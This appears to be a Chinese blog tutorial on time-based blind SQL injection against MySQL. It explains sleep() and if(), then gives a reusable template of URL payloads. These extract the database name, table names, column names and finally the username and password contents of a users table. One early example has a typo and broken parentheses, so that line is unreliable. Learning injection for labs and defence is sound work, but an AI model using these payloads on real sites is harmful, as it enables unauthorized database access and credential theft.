一篇文章带你搞定时间盲注

时间盲注又称延迟注入,个人理解,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。

官方理解:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

判断方法:如果发现不管输入什么页面显示的东西都是一样的,一篇文章带你搞定时间盲注_第1张图片

那就使用sleep函数再F12点击网络查看网络延迟,如果sleep(3)延迟3秒左右则为时间盲注。

1。闭合方式判断

?id=1 and sleep (2)--+

?id=1' and sleep (2)--+

?id=1" and sleep (2)--+

?id=1) and sleep (2)--+

·········

慢慢来,如果判断出来后会有延迟的

2.基础原理:

Select if(1=1,sleep(0),sleep(3));

If(1,2,3)如果1是对的,那么执行2,反之则执行3

 3.开始爆库

select if(ascil(substr(select database()),1,1))>100,sleep(0),sleep(3);

substr(( ),1,1)表示从第1个字母开始,一次读取一个参数

ascii是把一个字符转化为一个数字,因为使用到盲注时,页面都是没有回显的,把你所要执行的代码得出的数据库第一个字母变成数字,再通过二分法来判断具体数字,因为具体数据相当于是已知的,所以可以反推数据库字母。

4.整体过程(下次需要命令可以直接把下面命令当作模板,更改相应数据即可

这里重点说下为什么要判断长度,因为你不知道你是否已经注入完所有字符了,所以必须先判断(比如库名)库名长度,才能知道自己的字符是否完整了

?id=1'and if(length((select database()))>9,sleep(5),1)--+

判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

逐一判断字段名。

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

逐一检测内容。

你可能感兴趣的:(数据库,oracle)